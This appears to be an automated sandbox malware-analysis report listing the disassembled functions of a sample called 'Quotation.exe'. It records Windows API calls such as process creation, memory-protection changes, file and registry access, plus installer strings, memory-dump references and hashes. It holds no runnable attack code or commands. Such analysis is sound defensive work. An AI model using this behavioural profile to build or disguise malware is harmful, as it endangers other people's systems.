Part of subcall function 00406D1B: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406D90
Part of subcall function 00406D1B: CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
Part of subcall function 00406D1B: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DA4
Part of subcall function 00406D1B: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DBC

lstrlenW.KERNEL32(007A4288,00000000,007A4288,007A4288,?,?,?,00406719,?,00000000,75923420,?), ref: 0040666A
GetFileAttributesW.KERNELBASE(007A4288,007A4288), ref: 0040667B

Part of subcall function 004065AD: FindFirstFileW.KERNELBASE(?,007A5E88,00000000,0040665A,007A4288), ref: 004065B8
Part of subcall function 004065AD: FindClose.KERNEL32(00000000), ref: 004065C4

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID:
API String ID: 1879705256-0
Opcode ID: 3b9d5aeb4753024ac2323fedf4887ec0200a7770af3d0f5eda4629e85134c37a
Instruction ID: a0caebe489df7e9b8c47fc78556c087e467958ed1b806a88a2837ae242d5d264
Opcode Fuzzy Hash: 3b9d5aeb4753024ac2323fedf4887ec0200a7770af3d0f5eda4629e85134c37a
Instruction Fuzzy Hash: FAF0C2614042212AC72037751E88A2B255C8E4635971B4F3FFCA7F12D2CA7ECC31957D

Function 004066B4 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A3A40,?), ref: 004066DD
CloseHandle.KERNEL32(?), ref: 004066EA

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 36c5eb473c901fdc976d11b5d23e54a470827d4f9f65b3378b18ae8ddc32ee08
Instruction ID: 38b84478e037bba77e5bda8d52abba300c1c8c141792dec0b9fd1b8b871a7deb
Opcode Fuzzy Hash: 36c5eb473c901fdc976d11b5d23e54a470827d4f9f65b3378b18ae8ddc32ee08
Instruction Fuzzy Hash: 45E0BFF0600219BFFB009F64ED05E7BB66CFB44604F008529BD51E6150D77499149A79

Function 004068F9 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000), ref: 0040691D

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction ID: 2b20bdeb62c6161fa823f395ef17c7eb789f23499ed64d7ea8bf83f44df62fc9
Opcode Fuzzy Hash: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction Fuzzy Hash: 3ED09E71118201AEDF054F20DE4AF1EBA65EF84710F114A2CF6A6D40F0DA718865AA15

Function 733F2D14 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?), ref: 733F2DD3

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0d1ab4eff235889299f8cc1d0edb78ca0b0841bccf14691be9df926a659609b3
Instruction ID: 023b053b4c7ad8aa26299da49413a3150aeb93969799a1b3d4d9bb5af7159f53
Opcode Fuzzy Hash: 0d1ab4eff235889299f8cc1d0edb78ca0b0841bccf14691be9df926a659609b3
Instruction Fuzzy Hash: 574161B6D0060BDFF730AF65EA85F4937B9EB18354FF4442AE509CA260D63896428BC1

Function 004069E9 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000000,?,00793200,00403326,?,00793200,?,00793200,?,?), ref: 00406A00

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction ID: af586fd2f7f6880044e5fe5766d6096d47c0719768b2310f5fb2dcc6f4abfd7b
Opcode Fuzzy Hash: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction Fuzzy Hash: 68E0BF32600119BB8F205B56DD04D9FBF6DEE927A07124026F906B6150D670EA51DAE4

Function 00406926 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000,?,00000000,?,00000000,004031A2,?,00000004,00000000,00000000,00000000,00000000), ref: 0040693D

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction ID: de6cc0abbc936f950c0aa48064430f9d9b1dfb465831d1c2e6fd43c94deb3c7e
Opcode Fuzzy Hash: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction Fuzzy Hash: B7E0BF72200119BB8F215F46DD04D9FBF6DEE956A07114026B905A6150D670EA11D6E4

Function 733F1A4A Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(733F501C,00000004,00000040,733F5034), ref: 733F1A68

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ea9be91a8aca9234afa97364a07a9101d360bd9ea37b8ed032464c8a5ac2a472
Instruction ID: 8e07c048028e70d4f33079a76f44fc87acfc94ed0c4cb5a0a6cb943023e87d43
Opcode Fuzzy Hash: ea9be91a8aca9234afa97364a07a9101d360bd9ea37b8ed032464c8a5ac2a472
Instruction Fuzzy Hash: 2CF098F2919743EBE338AF1A94447057AA8F718344BA0452FF65DDA340C33842009B9A

Function 004062B6 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,?,?,?,?,?,00406983,?,?,?,?,Call,00000000,00000000), ref: 004062DA

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction ID: 8275c49ac47c74d38988e0f8258bf7c149b7cc7998a497f72a9ef83b4f38b8ad
Opcode Fuzzy Hash: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction Fuzzy Hash: 51D0123204020DBBDF11AF90DD01FAB372DAB08750F01443AFE16A40A0D775D531A718

Function 004054C6 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b2e0c2379e296d93849bb49f42c53d0230087db54a3c83b1da74e836768489aa
Instruction ID: ded955796c7b3a29419b03b8f07dbed72bf973f4b2991851ad7e5473cbc7331c
Opcode Fuzzy Hash: b2e0c2379e296d93849bb49f42c53d0230087db54a3c83b1da74e836768489aa
Instruction Fuzzy Hash: C3C04C716446007ADA109B619E05F077759A791701F10C8297240E55E0C675E460CA2C

Function 004054E1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00405316), ref: 004054EF

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1714e4f5a6add7520e2ba1d59cc8065429a1d3178019bc2ad80d0ec1eb9059a5
Instruction ID: 87925707e6409367d6b01bd6df3e013852da7cf14c64ffa79ed0cacb9bd9d926
Opcode Fuzzy Hash: 1714e4f5a6add7520e2ba1d59cc8065429a1d3178019bc2ad80d0ec1eb9059a5
Instruction Fuzzy Hash: 28B09239684600AADA195B00EE09F467B62ABA4701F008428B240640B0CAB210A0DB18

Function 00403131 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004035B5,?), ref: 0040313F

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction ID: 249934cc5d2069a5a678a88893d20fb7c04287045258dfdbdab4020963f10c22
Opcode Fuzzy Hash: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction Fuzzy Hash: 94B09231140200AADA214F009E0AF057B21AB90700F108434B290680F086711060EA0D

Non-executed Functions

Function 004062E4 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00000000,?,0040623C,?,?), ref: 0040631F
GetShortPathNameW.KERNEL32(?,007A5688,00000400), ref: 00406328
GetShortPathNameW.KERNEL32(?,007A4E88,00000400), ref: 00406345
wsprintfA.USER32 ref: 00406363
GetFileSize.KERNEL32(00000000,00000000,007A4E88,C0000000,00000004,007A4E88,?), ref: 0040639B
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 004063AB
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004063DB
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,00000000,007A4A88,00000000,-0000000A,00408984,00000000,[Rename],00000000,00000000,00000000), ref: 004063FB
GlobalFree.KERNEL32(00000000), ref: 0040640D
CloseHandle.KERNEL32(00000000), ref: 00406414

Part of subcall function 004068F9: GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
Part of subcall function 004068F9: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000), ref: 0040691D

Strings

%ls=%ls, xrefs: 00406359
[Rename], xrefs: 004063C3, 004063D2

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShort$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2900126502-461813615
Opcode ID: a2b202ff8827565348ba147a21b9a484a8522b83e041da5fa409378b6696546f
Instruction ID: 9f7f24d6a9d8affb6c81019e1e78af230b3462d5c5472edf7d8bbe76e1c752c2
Opcode Fuzzy Hash: a2b202ff8827565348ba147a21b9a484a8522b83e041da5fa409378b6696546f
Instruction Fuzzy Hash: 1B3128B16012117BD7206B358D49F7B3A5CEF81749B06453EF943FA2C2DA7D88628A7C

Function 00406D1B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406D90
CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DA4
CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DBC

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406D22
*?|<>/":, xrefs: 00406D7F
C:\Users\user\AppData\Local\Temp\, xrefs: 00406D1B, 00406D1D

Memory Dump Source

